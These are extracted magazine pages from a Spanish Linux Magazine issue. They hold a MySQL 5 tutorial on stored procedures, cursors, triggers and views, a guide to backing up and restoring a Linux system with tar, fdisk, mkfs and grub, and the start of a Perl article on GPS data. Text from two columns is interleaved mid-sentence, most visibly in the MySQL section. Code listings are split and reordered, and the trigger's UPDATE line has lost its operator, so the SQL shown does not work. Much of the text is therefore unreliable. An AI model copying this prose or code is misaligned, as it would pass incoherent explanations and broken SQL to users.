26 product_id MEDIUMINT NOT NULL, 27 quantity MEDIUMINT NOT NULL DEFAULT 0, 28 PRIMARY KEY (id) 29 ); 30 31 CREATE TABLE customers ( 32 id MEDIUMINT NOT NULL AUTO_INCREMENT, 33 name VARCHAR(70) NOT NULL, 34 address VARCHAR(200) NOT NULL, 35 phone VARCHAR(20) NOT NULL, 36 email VARCHAR(40) NOT NULL, 37 PRIMARY KEY (id) 38 );
Número 22
35
PRÁCTICO • MySQL 5
UNTIL y WHILEstock. Como el delimitador por defecto en DO). MySQL es el punto y coma, y el lenguaje proEl tamaño de cedimental de MySQL utiliza el punto y coma este artículo no para terminar cada sentencia del programa, permite una refehabrá que indicarle a MySQL que cambie el rencia exhaustiva delimitador mientras se crea el procedide todas las caracmiento. La convención usual es cambiar el terísticas del lendelimitador a un signo dolar doble con la senguaje procedimentencia DELIMITER $$ (Línea 1). La siguiente tal de MySQL. Por sentencia (Línea 3) indica a MySQL que borre ello, voy a explicar (destruya) el procedimiento almacenado que cómo están estructenga el mismo nombre en caso de existir. Si turados los proceno existe, entonces esta sentencia será ignodimientos almacerada y el analizador de MySQL continuará. La nados y los dispaLínea 4 hace que MySQL cree un procediradores de MySQL miento almacenado nuevo con el nombre y y proporcionaré los parámetros proporcionados. El procedialgunos ejemplos miento almacenado comienza con la sentenque ofrecerán una cia BEGIN (Línea 7). A continuación siguen muestra de lo que una serie de sentencias de declaraciones, conFigura 1: Un procedimiento almacenado sencillo en el Query Browser de MySQL. son realmente los diciones e iteraciones que finalizan con la procedimientos sentencia END (Línea 26). Obsérvese que products_out_of_stock (productos_fuera_de_ almacenados, los disparadores y las vistas. Si END va seguida por el delimitador temporal, stock), que se realizaría sobre la tabla prose tienen conocimientos de programación en el signo dólar doble. Esto se debe a que ha ducts y la tabla stock_quantities, donde el cualquier lenguaje moderno, el lenguaje profinalizado el procedimiento almacenado y se nivel de stock es cero. cedimental de MySQL parecerá bastante simha vuelto al análisis normal de SQL de Las vistas ayudan a escribir código SQL ple. Está diseñado como un medio para proMySQL. En este punto, se conmuta al delimipara acceder cómodamente a conjuntos de porcionar entradas en las sentencias SQL y tador por defecto, el punto y coma (Línea 28). datos. Pero también ayudan a la eficiencia, para manipular los resultados, no como un Variables, Parámetros y porque la consulta de la vista subyacente lenguaje para competir con los lenguajes del Tipos de Datos puede ser almacenada en caché y se cargará estilo PHP y Java. más rápidamente que distintas versiones de En la Figura 1 se ha declarado una variable La Estructura de un esa consulta ejecutándose desde diferentes max_addition (Línea 8) y tres parámetros Procedimiento Almacenado sitios. stock_addition, product_id y new_stock Los procedimientos almacenados están escri(Líneas 4 a 6). Las palabras reservadas IN Lenguaje de Procedimientos tos de forma que permitan ser creados por y OUT le indican a MySQL que el parámeMySQL cualquier herramienta que ejecute SQL. Algutro puede recibir un valor de entrada, MySQL 5 proporciona un lenguaje procedinos de mis listados se muestran en MySQL devolver un valor de salida o ambos mental que se puede utilizar para crear proceQuery Browser [6], una herramienta muy útil (declarando el parámetro como IN OUT). dimientos almacenados y disparadores. En y gratuita de MySQL. vez de utilizar uno basado en C o Python, los Se escriben como desarrolladores de MySQL han creado otro de scripts SQL que básiacuerdo con el estándar ANSI SQL:2003 [5]. camente le indican a El estándar ANSI es usado por los desarrollaMySQL el nombre del dores de otros sistemas de gestión de bases de procedimiento almadatos en varios grados, así que siguiendo el cenado y su conteestándar, las habilidades obtenidas en el nido. Si el procedidesarrollo de los procedimientos almacenamiento contiene errodos y los disparadores de MySQL son transferes, MySQL inforribles a otras bases de datos como Oracle, mará de ello cuando DB2 y PostgreSQL, que poseen implementase intente crear el prociones del lenguaje procedimental similares. cedimiento almaceAl igual que los lenguajes de programación nado. con los que se estará familiarizado, como La Figura 1 muesPHP y Java, el lenguaje procedimental de tra un procedimiento MySQL posee las construcciones adecuadas almacenado que para crear código útil. Esto incluye sentencias acepta un valor condicionales (IF-THEN-ELSE y CASEentero para WHEN) y sentencias iterativas (REPEATsumarse a un Figura 2: Un procedimiento diseñado para devolver un conjunto de resultados.
36
Número 22
WWW.LINUX-MAGAZINE.ES
MySQL 5 • PRÁCTICO
Los parámetros pueden ser usados como variables normales, pero tan sólo los OUT podrán tener un valor modificado dentro del procedimiento. Las variables tienen que ser declaradas explícitamente y han de tener además un tipo asignado; opcionalmente también pueden tener un valor por defecto. Los tipos que se pueden escoger son los tipos de datos SQL estándar de las columnas de las tablas. Todos los tipos de datos son escalares, es decir, tan sólo pueden almacenar un único valor discreto. Esta regla deja fuera de juego a tipos de datos como los arrays, lo que podría ser frustrante para los desarrolladores acostumbrados a programar en lenguajes como PHP y Java, pero hay soluciones, como tablas temporales usando un motor de almacenamiento en memoria. Algunos de los tipos de datos típicos son CHAR y VARCHAR (para caracteres y cadenas), DATE, DATETIME, INT (incluyendo TINYINT, SMALLINT, MEDIUMINT y BIGINT), DECIMAL, FLOAT, DOUBLE y otros. Pueden almacenarse grandes cantidades de datos utilizando otros tipos de datos, como TEXT (hasta 64 Kilobytes) y BLOB (objetos binarios grandes, en teoría se pueden almacenar hasta 4 Terabytes en un LONGBLOB).
SQL en Procedimientos Almacenados Al contrario que en los lenguajes de programación como PHP y Java, no hay controladores de los que preocuparse y no hace falta ninguna función especial o llamada a métodos para ejecutar las sentencias SQL. Por el contrario, las sentencias SQL pueden ejecutarse al vuelo y los resultados se leen directamente de las variables. Las sentencias INSERT y UPDATE pueden leer valores directamente de las variables y los parámetros. En la Figura 1, una sentencia UPDATE (Línea 12) entremezcla nombres de tablas, nombres de columnas y parámetros. En la siguiente sentencia SELECT (Línea 16), se selecciona un valor directamente como un parámetro INTO OUT. Como se comentó anteriormente, el lenguaje procedimental de MySQL es en último término un medio para introducir datos a SQL y procesar los resultados. En la sentencia SELECT (Línea 16) de la Figura 1, se ha seleccionado un valor en un parámetro OUT. Suponiendo que la columna id garantiza la unicidad, esto es correcto. Pero, ¿qué sucedería si la sentencia SQL devolviese múltiples valores? Tan sólo se puede realizar la selección a una variable si se está seguro al 100% de que el valor devuelto será único. Por ello el discriminador (la claúsula tras la palabra reservada WHERE) utiliza
una clave única, como una columna id con un auto_increment o donde se selecciona un valor de función en una variable, como SUM() o MAX(). Anteriormente se mencionó que las variables eran escalares y tan sólo podían albergar valores simples. Esta regla elimina la posibilidad de devolver una lista de valores directamente a una variable. Aquí es donde el concepto de cursor viene al rescate.
Utilizando Cursores Un cursor es un puntero a un conjunto de resultados obtenidos por una consulta SELECT. Aunque se utiliza principalmente por consultas SELECT que devuelven más de una fila, también se puede utilizar donde sólo se devuelva una única fila. Incluso si no se devuelve ninguna, no se generará ningún error. Sin embargo, si intentamos capturar una fila o desde un conjunto de resultados vacíos o más allá de la última fila de un conjunto de resultados, se generará un error de MySQL. El Listado 2 muestra mi forma preferida de manejar cursores utilizando REPEAT-UNTIL. Se comienza el procedimiento declarando algunas variables estándar, incluyendo una denominada not_found (no_encontrada). La variable not_found se utiliza junto con un HANDLER para la condición NOT FOUND. Es
Listado 2: Un procedimiento almacenado utilizando un cursor 01 DELIMITER $$ 02 03 DROP PROCEDURE IF EXISTS show_orders_processed $$ 04 CREATE PROCEDURE show_orders_processed () 05 BEGIN 06 07 DECLARE v_o_id MEDIUMINT; 08 DECLARE v_c_name VARCHAR(70); 09 DECLARE v_c_phone VARCHAR(20); 10 DECLARE v_o_date DATETIME; 11 DECLARE v_o_total DOUBLE(9,2); 12 DECLARE not_found TINYINT; 13 14 /* Seleccionar pedidos procesados */ 15 DECLARE order_summary_cur CURSOR FOR 16 SELECT oh.id 17 , c.name 18 , c.phone 19 , oh.order_date 20 , SUM(p.cost * ol.quantity) AS total_cost 21 FROM products p
22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
, customers c , order_headers oh , order_lines ol WHERE c.id = oh.customer_id AND oh.id = ol.order_id AND ol.product_id = p.id AND oh.order_status = ‘P’ GROUP BY oh.id , c.name , c.phone , oh.order_date; DECLARE CONTINUE HANDLER FOR NOT FOUND SET not_found = 1; SET not_found = 0; OPEN order_summary_cur; order_summary_loop:REPEAT
48 49 50 51 52 53 54 55
, v_o_date , v_o_total; IF not_found THEN LEAVE order_summary_loop; END IF;
SELECT CONCAT(‘Order ID: ‘, v_o_id, ‘, Name: ‘, v_c_name, 56 ‘, Phone: ‘, v_c_phone, ‘, Order Date: ‘, v_o_date, 57 ‘, Order Total:’, v_o_total); 58 59 UNTIL not_found 60 END REPEAT order_summary_loop; 61 62 CLOSE order_summary_cur; 63 64 END $$ 65 66 DELIMITER ;
FETCH order_summary_cur INTO v_o_id , v_c_name , v_c_phone
WWW.LINUX-MAGAZINE.ES
Número 22
37
PRÁCTICO • MySQL 5
resultado en la Llamada a un consola o en Procedimiento Almacenado MySQL Query Browser. No Muchos estarán esperando que se muestre tiene mucha utialgún código de ejemplo de un lenguaje de lidad si se programación. Se va a mostrar un ejemplo en desean manejar PHP. La solución es similar para otros lenguadatos en el conjes que dispongan del controlador de MySQL, junto de resultacomo Java, Ruby o Python. El código de dos del cursor. ejemplo llamará al procedimiento almaceSin embargo, es nado de la Figura 2. posible devolver Para MySQL 5, se tiene que tener la extenun conjunto sión mysqli [8] orientada a objetos cargada y resultado al procompilada en PHP. La Figura 3 muestra las grama que lo llamadas a los métodos utilizando mysqli. La invoca sin el curLínea 10 presenta el procedimiento almacesor y el código nado que se llama. Nótese que no parece ser del manejador. diferente de una llamada SQL normal. La senFigura 3: Una llamada PHP simple a un procedimiento almacenado Una sentencia tencia while de la Línea 21 itera a través de las utilizando mysqli. SQL puede ser filas del conjunto de resultados devuelto, ubicada en un justo como si se tratase de un conjunto de decir, cuando una condición NOT FOUND se procedimiento almacenado sin declarar un resultados de una consulta SQL normal. encuentra, si el cursor va más allá del límite, cursor y sin realizar un SELECT sobre unas Ejemplo de Disparador el valor de not_found se establecerá a 1 o variables. Se escribe tal y como se escribiría TRUE. si se estuviera ejecutando SQL en el MySQL Mientras que los procedimientos almaceEl cursor order_summary_cur no es nada Query Browser o en phpMyAdmin [7]. nados son iniciados mediante llamadas más que un valor asignado a una variable de En el ejemplo del Listado 2, simplemente directas cuando se requiere su ejecución, ese nombre hasta que se realice una operaquitamos todas las sentencias entre el los disparadores, por otro lado, son inición OPEN sobre él. Una vez abierto, se pueBEGIN y END excepto la consulta SQL. La ciados por eventos que provocan que se den comenzar a capturar desde el cursor a las Figura 2 muestra este elegante procediejecuten los disparadores. Los eventos variables en el mismo orden en que aparecen miento almacenado. en cuestión son las inserciones, las en las columnas de la sentencia SELECT del Hay que tener en cuenta cómo se ha actualizaciones y los borrados. cursor. Para capturar todas las filas devueltas cambiado ahora el procedimiento almaceVolviendo a las tablas de ejemplo del por la consulta de selección, habrá que utilinado para recibir un parámetro para selecListado 1, es posible imaginar un escenazar una sentencia iterativa. Hay diversas forcionar los pedidos de un pedido particular. rio donde un cliente A hace un pedido mas de realizar esto, pero mi preferida es Ahora este procedimiento almacenado del producto B. Una solución para regisREPEAT-UNTIL. Aunque la sentencia REPEAT puede devolver potencialmente el conjunto trar esto en la base de datos es ejecutar continúa hasta que se encuentre una condide resultados de la consulta a un programa, un procedimiento almacenado que ción específica que sea verdad (la variable suponiendo que el lenguaje del programa inserte una cabecera de pedido y una not_found, en este caso), se puede optar por que lo invoque dejar el bucle antes de que se llegue a la consoporte estos tipos dición UNTIL. Para ello, se utiliza una etide conjuntos de queta para nombrar la iteración, order_sumresultados sin límimary_loop en este ejemplo. Esto nos permite tes. abandonar el bucle antes de utilizar una de Es posible tener las variables capturadas, que, en el caso de múltiples consultas una captura más allá de la última fila, resultaSQL como en la ría en un error. Figura 2. Esto La sentencia SELECT CONCAT puede parepodría ser útil para cer extraña, pero es como se muestran los conjuntos de datos valores devueltos por el cursor de la consulta. relacionados. Sin embargo, es prefeDevolviendo Conjuntos de rible tener una Resultados al Código solución más limSi se es un programador experimentado utilipia y tener consulzando PHP, Java, Python o Ruby, se estará tas individuales preguntando acerca del propósito de los proque devuelvan concedimientos almacenados como el que apajuntos de resultaFigura 4: Creando una vista en SQL. rece en el Listado 2, ya que sólo muestra el dos simples.
38
Número 22
WWW.LINUX-MAGAZINE.ES
MySQL 5 • PRÁCTICO
OLD también está disponible y contiene los valores de la fila antes de que se produjera la actualización o el borrado. Para el histórico, por ejemplo, se podría querer insertar los valores antiguos de la fila en una tabla de históricos para su posterior consulta. Para las auditorías, se podría querer insertar tanto los valores Figura 5: Utilizando una vista en una consulta normal y corriente. antiguos como los nuevos en una línea de pedido y que luego actualice la cantabla de seguimiento de la auditoría. tidad de stock del producto. Sin embargo, otra También se puede ejecutar un disparador solución es decir que en cualquier momento antes de que ocurra una actualización, una se puede crear una línea de pedido, la cantiinserción o un borrado. Esto puede ser útil dad correspondiente al stock para el producto cuando se deseen modificar los valores de la pedido será siempre reducida por la cantidad fila nueva, por ejemplo, para propósitos de pedida. Podemos considerar esta regla de validación. negocio. En vez de tener que escribir la conUn Ejemplo de Vista sulta de actualización cada vez que se pida un producto, se puede crear un disparador que En el Listado 2 se tiene un trozo atractivo de sea ejecutado cada vez que se inserte una SQL que obtiene resúmenes de los pedidos línea de pedido. Esto permite tener reglas de procesados. Para muchas aplicaciones, esto negocio concretas introducidas en la base de podría ser un conjunto de resultados útiles datos. para poder reusarlo en diversos sitios dentro El Listado 3 muestra un disparador que se de la aplicación. Una vista es un mecanismo ejecuta después de que se produzca una para almacenar y reutilizar una consulta útil y actualización. La palabra reservada NEW hace acceder a ella como si fuese una tabla normal referencia a los valores de la fila nueva, tal y y corriente. La complejidad subyacente de la como están después de que se haya compleconsulta queda oculta y simplemente se puetado la actualización. La palabra reservada den seleccionar las columnas de esta tabla virtual. Las vistas no pueden aceptar parámetros. Si se necesita que la consulta acepte parámetros, Listado 3: Un disparador de es preciso crear un procedimiento almaceactualización sencillo nado. La Figura 4 muestra la consulta del Lis01 DELIMITER $$ tado 3 creada en la forma de una vista. La 02 CREATE TRIGGER Figura 5 muestra los resultados de ejecutar order_lines_ins_trg una consulta utilizando la vista. Obsérvese 03 AFTER UPDATE ON order_lines cómo se parece una consulta a una tabla norFOR EACH ROW mal y corriente. 04 BEGIN 05 UPDATE stock_quantities 06 SET quantity = quantity NEW.quantity 07 WHERE product_id = NEW.product_id; 08 END $$ 09 DELIMITER ;
Los Próximos Pasos En este artículo he intentado presentar algunas de las capacidades de MySQL 5: los procedimientos almacenados, los disparadores y las vistas. Estos ejemplos proporcionarán al lector una idea acerca de la utilidad de estas nuevas características para el desarrollo de su software. No hay que olvi-
WWW.LINUX-MAGAZINE.ES
dar que los procedimientos almacenados son sobre consultas SQL. Si se está escribiendo SQL ineficientemente en el código del programa, probablemente se sigan escribiendo consultas ineficientes en las consultas SQL de los procedimientos almacenados. El conjunto de características es completamente nuevo para MySQL, pero aquellos que hayan trabajado con procedimientos almacenados en otras bases de datos como Oracle, DB2 y PostgreSQL, probablemente estén más interesados en las diferencias entre la implementación de MySQL y las de la base de datos en la que se haya trabajado. El lenguaje de procedimientos de MySQL aun no está finalizado. En versiones posteriores de MySQL 5 se mejorará el conjunto de características considerablemente y se mejorarán los aspectos en los que la implementación de MySQL se ve superada por la solución de sus competidores. La documentación [9] de las nuevas características del sitio web de MySQL es adecuada. Sin embargo, se están publicando libros por MySQL Press y otras editoriales que proporcionan un resumen detallado de las características de MySQL. ■
Recursos [1] MySQL 5.0 Community Edition: http:// www.mysql.com/products/database/ mysql/community_edition.html [2] Centro de tecnología de Oracle PL/ SQL: http://www.oracle.com/ technology/tech/pl_sql/index.html [3] Hibernate Object Relational Mapper para Java y .NET: http://www. hibernate.org/ [4] ActiveRecord Object Relational Mapper para Ruby: http://rubyforge.org/ projects/activerecord/ [5] Una publicación del ANSI SQL:2003 de Eisenberg et al: http://www. sigmod.org/sigmod/record/issues/ 0403/E.JimAndrew-standard.pdf [6] MySQL Query Browser: http://www. mysql.com/products/tools/ query-browser/ [7] phpMyAdmin: http://sourceforge.net/ projects/phpmyadmin [8] Extensión mysqli de PHP: http://www. php.net/mysqli [9] Documentación online de MySQL sobre procedimientos almacenados: http://dev.mysql.com/doc/refman/5.0/ en/stored-procedures.html
Número 22
39
PRÁCTICO • Backups tar
Utilizando tar para prepararse ante una emergencia
BOTE SALVAVIDAS
Utilización de un fichero tar para restaurar un sistema de forma rápida sin tener que hacer una reinstalación completa. POR MARKUS KLIMKE
L
inux no presenta muchas opciones para realizar una copia de seguridad, sin embargo, una copia uno a uno siempre utilizará la misma cantidad de espacio que una partición del disco. Se puede ahorrar espacio comprimiendo los datos de la copia de seguridad.
Navaja Suiza tar es una poderosa y efectiva herramienta que cuya existencia se remonta a los comienzos de Unix; siempre encontraremos una variante GNU de tar incluida en cualquier distribución de Linux. El programa, que originalmente fue desarrollado como un “archivador de ficheros en cintas”, ha estado extendiéndose continuamente a lo largo de los años. Su tarea original de almacenar datos en cintas hoy en día es sólo una más de las muchas para las que se utiliza. A primera vista, puede parecer extraño empaquetar una instalación de Linux en un fichero tar y desempaquetarla en un lugar distinto. Sin embargo, el comando siguiente: tar -cvjpf U /tmp/image-date.tar.bz2 /
40
Número 22
realiza una copia exacta de su instalación Linux a un fichero. Éste puede desempaquetarse en un disco diferente, o en un sistema de ficheros distinto, en caso de emergencia o si necesita crear una copia. La opción -c le indica a tar que cree un archivo; -p pasa los permisos y -v proporciona datos de salida por pantalla. -f le asigna un nombre al fichero que está creando. La barra que sigue al nombre de la imagen indica el punto de inicio del archivo y la etiqueta -j crea un archivo comprimido Bzip2. En vez de -j, puede especificarse -z para usar gzip para comprimir el archivo. La diferencia está en el tamaño resultante y el tiempo que tarde en crear el fichero: gzip es más rápido, pero crea ficheros más grandes; bzip2 tarda más, pero utiliza un método más eficiente de compresión. ¿Cuánto tiempo tardará una copia de seguridad y el tamaño del fichero tar resultante? Depende de la CPU y de los datos que esté manejando.
Especificación del Contenido Pero si se realiza una copia de seguridad tal y como se ha descrito, aparecerán diversos mensajes de error. Se le había indicado a tar que creara una imagen del sistema de ficheros raíz, así que intentará de forma recur-
WWW.LINUX-MAGAZINE.ES
siva añadirse así mismo en la copia de seguridad. Y mientras lo está realizando mostrará un mensaje indicando que el fichero de la imagen está cambiando al tiempo que se está realizando la copia de seguridad. Aunque se pueda continuar con esto, no hay mucho problema si se añaden todos los ficheros a la imagen. Lo normal es que se desee realizar una copia de seguridad de los datos del directorio home en un medio de almacenamiento externo, aunque los datos volátiles como éstos, no deberían formar parte de la copia de seguridad, ya que no tienen nada que hacer cuando se restaure el sistema y lo único que hacen es engordar la copia de forma innecesaria. Para excluir de forma explícita una serie de ficheros y directorios del fichero de imagen de la copia de seguridad, tar proporciona la opción —exclude-from. El parámetro lee las entradas de ficheros y directorios que han ser excluidos de la imagen desde un fichero: 01 02 03 04
user # cat << EOF >> U /tmp/out > /home/* > /mnt/*
Backups tar • PRÁCTICO
Figura 1: Particionando un disco duro y redireccionando los comandos a fdisk. Los resultados se muestran al final.
05 06 07 08 09 10
> /usr/portage/distfiles/* > /tmp/backup-date.tar.bz2 > EOF user # tar -cvjp —U exclude-from=/tmp/out -f U /tmp/backup-date.tar.bz2
Los comodines que siguen a los nombres de los directorios eliminan todos los ficheros y directorios bajo el directorio que se quiera excluir. Si se dejan los comodines, tar excluirá el directorio completo de la copia. Entre los ficheros excluidos se debería incluir el fichero de la imagen. Antes de crear la imagen hay que ejecutar el comando mount para comprobar lo que se ha montado. Cualquier medio externo o recurso de red formará parte de la copia si se olvida desmontar o excluir. Algunas distribuciones no montan la partición boot por razones de seguridad. En este caso, hay que asegurarse de que root se añade a la imagen. Después de crear una imagen con los contenidos que se necesiten, el siguiente paso es utilizar alguna herramienta de copiado de DVD ( digamos K3b) para volcar la imagen a un DVD.
La Línea al Rescate Durante el proceso de restauración, es decir, el proceso de volcado de la imagen que se ha creado, puede ser de gran ayuda una distribución Linux en Live CD, ya que permite
arrancar una distribución mínima. El Live CD más popular es Knoppix [1]. Como los pasos para restaurar la imagen se realizan por medio de la línea de comandos, una distribución Live CD basada en texto, como Gentoo Live CD [2], Grml [3] o las instalaciones Suse o Red Hat en modo rescate serán suficientes. Todas estas distribuciones proporcionan las herramientas necesarias. Para liberar la unidad de DVD para el disco con la imagen después de arrancar el sistema, hay que arrancar la distribución Live de forma que ubique el sistema operativo en la memoria de la máquina. Tras ello, se puede desmontar el Live CD e insertar el disco con la imagen. La mayoría de los sistemas Live llaman a este parámetro toram. Si se tiene Knoppix, habría que introducir knoppix toram; para Grml, sería grml toram. Y si se tiene el Live CD de Gentoo, con el comando gentoo docache será suficiente.
Preparación del Disco Duro Antes de restaurar la imagen hay que particionar y formatear el disco duro con la herramienta de particionado de disco en modo de texto fdisk. En Linux, los discos duros se referencian por nombres de dispositivos como /dev/hda (IDE) o /dev/sda (S-ATA/SCSI). La última letra en el nombre del dispositivo (en este ejemplo es la “a”) hace referencia al “número” del dispositivo. Por ejemplo, el
WWW.LINUX-MAGAZINE.ES
segundo disco IDE en un PC tiene el nombre de dispositivo /dev/hdb. Para las particiones se le añade un número al nombre del dispositivo; por ejemplo, /dev/sda1 es la primera partición del primer disco S-ATA o SCSI. Comencemos con el proceso de restauración desde la línea de comandos del Live CD. Se comienza tecleando fdisk /dev/hda para entrar en el modo comando de fdisk. Tecleando m desde el prompt de fdisk se listan las opciones disponibles. Si el disco no es nuevo, habrá que eliminar cualquier partición que haya en él. Tecleando p (para “print” – imprimir) se obtiene un resumen de las particiones que hay en el disco; d (“delete” – eliminar) borrará las particiones. La Tabla 1 muestra los comandos que se necesitan para configurar un disco duro con cuatro particiones. Los requerimientos de cada usuario pueden ser diferentes. Se pueden crear particiones extendidas, como la número cuatro, y luego añadirle unas cuantas particiones lógicas, aunque cuatro serán suficientes para la mayoría de los sistemas de escritorio. El comando n (“new” – nuevo) le indica a fdisk que cree una partición nueva. Fdisk preguntará a continuación si ésta va a ser una partición primaria o extendida. La herramienta también espera el número de la partición y los números de comienzo y fin de los cilindros de la partición o bien el tamaño (en Kiloytes, Megabytes o Gigabytes). El comando a (“active” – activo) marca la primera partición como partición de arranque. Para la partición de swap, habrá que pulsar t (“type” – tipo) y establecer el tipo 82. Ahora que se ha particionado el disco a nuestro gusto, habrá que escribir la información de las particiones al disco pulsando la tecla w (“write” – escribir) para almacenar la información en el MBR (Master Boot Record). Es una buena idea verificar las particiones en esta fase con el comando fdisk -l /dev/hda (Figura 1). Si no se quieren introducir los comandos de fdisk interactivamente, se pueden almacenar en un fichero de control y pasarle este fichero a fdisk. En el Listado 1 se muestra un fichero de control. Lo siguiente que hay que hacer es formatear las particiones que se acaban de crear con un sistema de ficheros que gestione los ficheros y los directorios que se van a restaurar. Los sistemas de ficheros más populares en los sistemas Linux de escritorio son Ext2, Ext3 y ReiserFS. Los sistemas de ficheros con control de registro como Ext3 y ReiserFS necesitan más espacio de disco. Con un sistema de ficheros
Número 22
41
PRÁCTICO • Backups tar
Tabla 1: Comando Fdisk (Ejemplos) Nombre /boot swap / /home -
Partición /dev/hda1 /dev/hda2 /dev/hda3 /dev/hda4 /dev/hda1 /dev/hda2
Comando n n n n a t
Tipo p p p p -
como Ext2, 32MB estaría bien para el directorio /boot. Los comandos para formatear el disco para los tres sistemas de ficheros son mkfs.ext2, mkfs.ext3 y mkfs.reiserfs, seguidos por el nombre de la partición. Para formatear la partición raíz del ejemplo con ReiserFS, hay que teclear mkfs.reiserfs /dev/hda3. mkswap /dev/hda2 creará la partición de swap. Si se tiene más interés sobre las particiones, véase la documentación de Gentoo en [4].
Restauración de la imagen Con esto se ha completado más o menos el trabajo preparatorio y ahora ya se puede restaurar la imagen del disco. El último paso es montar las particiones que se han creado en el sistema de ficheros del Live CD. En Gentoo Live: user # mount /dev/hda3 U /mnt/gentoo user # mkdir /mnt/gentoo/U {boot,home} user # mount /dev/hda1 U /mnt/gentoo/boot user # mount /dev/hda4 U /mnt/gentoo/home user # swapon /dev/hda2
El punto de montaje /mnt/gentoo es un convenio de Gentoo; no hay que olvidarse de crear un punto de montaje adecuado para otros Live CDs. Luego se comienza montando el directorio raíz del disco duro. El comando de la Línea 2 crea los puntos de montaje para las particiones boot y home. La última línea habilita la partición swap. El disco duro ya está configurado para que se pueda restaurar la imagen. Para ello, primero hay que desmontar el Live CD. En la mayoría de las distribuciones esto se lleva a cabo a través del comando umount
GLOSARIO MBR: El primer bloque de datos (512 bytes) de un disco duro arrancable y particionado. Contiene una tabla de particiones y el cargador del sistema.
42
Número 19
Número 1 2 3 4 1 2
Inicio/Codigo [Enter] [Enter] [Enter] [Enter] 82
Fin +64M +1G +10G [Enter] -
/mnt/cdrom. Luego se inserta el DVD que contiene el fichero con la imagen y se teclea mount /dev/hdb /mnt/cdrom para montarlo. En nuestro ejemplo, /dev/hdb es el nombre del dispositivo para la unidad DVD; el nombre del dispositivo podría variar dependiendo del hardware que se tenga instalado. Para los ordenadores que dispongan de discos S-ATA, normalmente es /dev/hda; si se tienen dos discos IDE, el nombre podría ser /dev/hdc. Por último, para desempaquetar la imagen en la partición adecuada (/mnt/gentoo en el ejemplo), hay que ejecutar los siguientes comandos: nonumber cd /mnt/gentoo tar -xvjpf /mnt/cdromU /image-date.tar.bz2
La opción -x (“extract” – extraer) es la única diferencia entre los comandos de empaquetado y desempaquetado; le indica a tar que desempaquete el archivo de la imagen. El desempaquetado tardará un rato, pero es más rápido que una instalación nueva.
Ordenando Si las particiones y la jerarquía del disco no se han modificado con respecto a la instalación original, no habrá necesidad de cambiar la configuración del gestor de arranque o de la tabla de particiones. Sin embargo, será preciso introducir cualquier cambio que se haya producido en las particiones en el fichero /etc/fstab que se ha restaurado. Si se cambia la imagen, desempaquetándola en un segundo disco duro en vez de en el primero, por ejemplo, habrá que modificar las entradas en /boot/grub/grub.conf para que se reflejen los cambios. El paso decisivo a la hora de ordenar el sistema tras la restauración a un nuevo disco es instalar el gestor de arranque, que no se tendrá en esta fase, en el MBR (master boot record) del disco duro. Si esto no se realiza, fallará el proceso de arranque. Más o menos todas las distribuciones usan como gestor de arranque a Grub (Grand Unified Boot Loader), que utiliza un
WWW.LINUX-MAGAZINE.ES
pequeño truco para reinstalar la imagen restaurada. Los comandos user # mount -t proc none U /mnt/gentoo/proc user # chroot /mnt/gentoo U /bin/bash
se cambian a la imagen desempaquetada del nuevo disco duro, tal y como si el sistema se hubiese arrancado desde la imagen, utilizando chroot (“change root” – cambiar a root). /proc contiene información diversa que necesita grub y esto hace que sea imperativo montar el directorio antes de cambiar root. Tras llamar a grub desde la “cárcel” chroot, se debería ver: livecd # grub grub> root (hd0,0) grub> setup (hd0) grub> quit
El comado root apunta a la partición de arranque, en nuestro ejemplo utilizando (hd0,0), es decir, la primera partición del primer disco duro de la máquina. Éste es el comando correcto si la instalación no posee una partición de arranque separada, pero utiliza /boot bajo la partición raíz. Si se está restaurando una imagen a un segundo disco duro, el comando sería root (hd1,0). Con setup se escribe el gestor de arranque al MBR del disco duro; el gestor de arranque normalmente se encuentra en (hd0), es decir, el primer disco duro de la máquina.
Reinicio Antes de entrar en el “viejo/nuevo” Linux del Live CD, no hay que olvidarse desmontar las particiones que se han montado ejecutando umount. Es preciso deshabilitar la partición de swap con swapoff /dev/hda2. Ahora ya se le puede decir a la máquina que se reinicie y a disfrutar viendo cómo se arranca la ■ instalación recién restaurada.
RECURSOS [1] Knoppix: http://www.knoppix.org [2] Gentoo Linux: http://www.gentoo.org/ main/en/mirrors.xml [3] Grml homepage: http://www.grml.org [4] Gentoo Linux Manual: http://www. gentoo.org/doc/en/handbook/ handbook-x86.xml?part=1&chap=4
Perl: GPS • DESARROLLO
Situamos datos GPS en mapas
UN DÍA DE CAMPO Los hackers de Perl se suben al monte con un sistema de navegación que les proporciona una representación gráfica de la excursión. POR MIKE SCHILLI
I
rse de excursión con un sistema de navegación es mucho más divertido. Un dispositivo GPS no sólo nos ofrece la posición actual, sino que también nos puede señalar la altitud o la distancia a un punto. En base a esta idea, el dispositivo GPS también nos puede indicar la velocidad de marcha, la distancia recorrida y la hora estimada de llegada. Y lo que es más, una vez lleguemos a casa podemos conectar el GPS al PC, descargar la información recogida en ruta y mapear la excursión. Aunque el receptor GPS “eTrex” de Garmin es un dispositivo de bajo coste para principiantes, es perfecto para el excursionista ocasional. El eTrex, que cuesta unos 120 Euros (99 dólares en EEUU), es práctico, sumergible y tan robusto que sobrevive a golpes y caídas sin sufrir daños. Para conectar el GPS eTrex al PC de vuelta a casa, necesitamos un cable con una interfaz especial que conecta el eTrex al puerto serie de nuestro ordenador. El cable oficial es bastante caro (unos 25 Euros, 32 dólares al cambio) lo que justifica la existencia del proyecto que encontraremos en [3], que nos ayuda a construir nuestro propio cable. Debo confesar que esta vez he sido algo perezoso: yo he comprado el oficial.
Confusión Babilónica Los receptores GPS pueden usar varios formatos para exportar la información, pero un proyecto llamado gpsbabel nos puede ayudar a luchar contra esta confusión “babilónica” de lenguas. Además de la capacidad de soportar docenas de formatos, la herramienta es capaz de leer la información de un Garmin eTrex conectado al puerto serie de nuestra máquina bajo Linux. La memoria del receptor GPS guarda los puntos del camino que le hayamos marcado durante la marcha, junto con las rutas (colecciones de puntos del camino creados manualmente), y las pistas (colecciones de coordenadas grabadas automáticamente cada pocos segundos). Si borramos la memoria antes de partir, y la descargamos cuando regresemos a casa, tendremos una registro digital exacto de nuestra excursión. Este es un buen punto de partida para varios tipos de evaluaciones creativas. Supongamos que conectamos nuestro GPS Garmin al segundo puerto paralelo de nuestro PC. Podemos teclear gpsbabel -t -i garmin -f /dev/ttyS1 -o gpx -F tracks.txt para descargar la información de la excursión (-t) en formato Garmin (-i garmin) del segundo
WWW.LINUX- MAGAZINE.ES
Número 22
43
DESARROLLO • Perl: GPS
